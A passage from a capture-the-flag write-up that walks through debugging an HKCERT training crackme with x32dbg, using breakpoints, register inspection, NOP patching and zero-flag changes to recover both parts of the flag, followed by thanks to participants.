x32DBG ![](https://i.imgur.com/0gy1ddl.png) 2. In "File", open the challenge binary, in our case it is rootkit_b437def04bc4b304bb8a18f5a9938375.exe, you will find this status. ![](https://i.imgur.com/QnYlh8o.png) 3. Click “Run” and until you see the “Welcome” message again in command box. ![](https://i.imgur.com/nCzAZWJ.png) 4. Now, we can set the breakpoint of the decision block at 0x401299. But when we look at the debugger, the address has no 0x40 as the prefix but 0xc6 instead. At this point, we should understand the address space may not be the same in static disassembling and when the binary is being executed, however, the offset remains the same. We have found instructions in 0xc61299 which is also the same as 0x401299, we should correctly locate the instruction or block we plan to set the breakpoint. 5. You can simply toggle the breakpoint with F2 or right-click the address -> Breakpoint -> Toggle, once you have found the breakpoint is set, it highlights in red color in the address, at the same time, you can click F2 again to remove the breakpoint. ![](https://i.imgur.com/iLGVhhd.png) Setting up breakpoint: * F2 at the address ; or * right-click the address and choose “Breakpoint” and “Toggle” 6. Let us input “appleandorange” as input in the command box and see what is going on. It hits our breakpoint as shown below, but it looks when we look at the register. ![](https://i.imgur.com/iyRkboW.png) 7. As you have found there is an instruction of `cmp esi`, `edi`, which is compared to our input data and the flag, which will return the comparison result to ZF (Zero Flag) in EFLAG, if the comparison is equal, the ZF is set as 1, otherwise, 0. We need to set a breakpoint a few more instructions (0xc61287) and see whether we can find out any flag stored in the register(s) before the decision jump: ![](https://i.imgur.com/xPExj90.png) 8. We can find out the flag string in register ECX and even the string display field in main disassembly view when the breakpoint (0xc61287) is hit, we can right-click over ECX and select “Follow in Dump” to examine the memory about the entire flag: ![](https://i.imgur.com/oP369nu.png) 9. After “Follow in Dump”, you can find the flag: ![](https://i.imgur.com/7Nc7rVC.png) 10. It looks like we can try to input the identified flag and see what is going on. From the below screenshot, we should keep going and try to figure out the second part of the flag to complete our Rootkit Deactivation. ![](https://i.imgur.com/TcHwqTY.png) #### Second Part Writeup This is relatively difficult as you are required to perform the following techniques: 1. Figure out your goal block of code with “Complete Deactivation”. 2. Patching those checking instructions which causes you to an error with 0x90 (NOP instruction). 3. Force the jump to your desired block by changing the ZF value in EFLAG. Please read over the following IDA Control Flow Graph, I have highlighted the path with nodes in yellow and the goal block in pink: ![](https://i.imgur.com/YEwSkto.png) You can simply open the executable with a debugger: NOP instructions from 0xNN13DD to 0xNN13E5, where NN will change in different memory spaces, in my screenshot, it is "F0": ![](https://i.imgur.com/8vdQuBO.png) The reason to patch is that it gives `stoi` out of range error, I simply patch the following two instructions as NOP in debugger when I am running the program: ![](https://i.imgur.com/YFK7xqn.png) Now we safely land at 0xNN13E6, remember to set the breakpoint before you approach there by referencing to IDA control flow graph: ![](https://i.imgur.com/DNS8Eaw.png) We need to ensure we can jump to 0xNN1423 as shown in the below figure, you can set the breakpoint at 0xNN13F5 and change the ZF value. **Here are important concepts about the value of setting EFlag values (<https://faydoc.tripod.com/cpu/jb.htm> and <https://stackoverflow.com/questions/14267081/difference-between-je-jne-and-jz-jnz>)** ![](https://i.imgur.com/qb8QHEp.png) Once we land at 0xNN1423, we need to land to 0xNN1427, and we set a breakpoint at the jump instruction and update the ZF value and ensure we can redirect to: ![](https://i.imgur.com/MgNleag.png) ![](https://i.imgur.com/3Ej9QVe.png) ![](https://i.imgur.com/ITM3UKs.png) At 0xNN1427 node, we don’t need to update any instruction as there is a flow to the 0xNN1440. We can then continue to click F8 step through until reaching the pink block at 0xNN144D: ![](https://i.imgur.com/XVNSDGi.png) Pay attention to the esi, edi, and ecx registers as well, when reaching 0xNN1448, you can find there is a flag-like string pointed by esi register (`_but_e4sy_t0_gu3ss`) ![](https://i.imgur.com/3DjZERo.png) ![](https://i.imgur.com/DiEvdmv.png) ![](https://i.imgur.com/IjCym2n.png) When you keep clicking F8 step over per instruction, you can see the “}”, it should be a second part of the flag. Continue to click F8, you can finally find the second part of flag clearly in EDX register: ![](https://i.imgur.com/5sxdzaV.png) Finally, when you keep stepping over until 0xNN1464, you can find the second part of the flag displayed in the command box and complete it in 0xNN1481: ![](https://i.imgur.com/bJWbABN.png) ![](https://i.imgur.com/WlP0W1q.png) #### Flag ![](https://i.imgur.com/H0Ttelq.png) ![](https://i.imgur.com/NYAyCjQ.png) #### Epilogue > Thank you for your playing of this challenge. Enjoy and hopefully, you can learn some techniques. > [name=Darkfloyd] Special Thanks --- We would like to thank all who tried the 10 challenges on the training platform. There are some challenges that no one plays on last year. :crying_cat_face: We would also like to give a big hand to the followings who shared their write-up to us (listed in alphabetic order): * @bottom#9751 * @hoifanrd#4246 * @MW#8078 * @RedTea#0001 Stay tuned for HKCERT CTF 2021 from 12th Nov to 14th Nov. :wink: ###### tags: `HKCERT CTF 2021`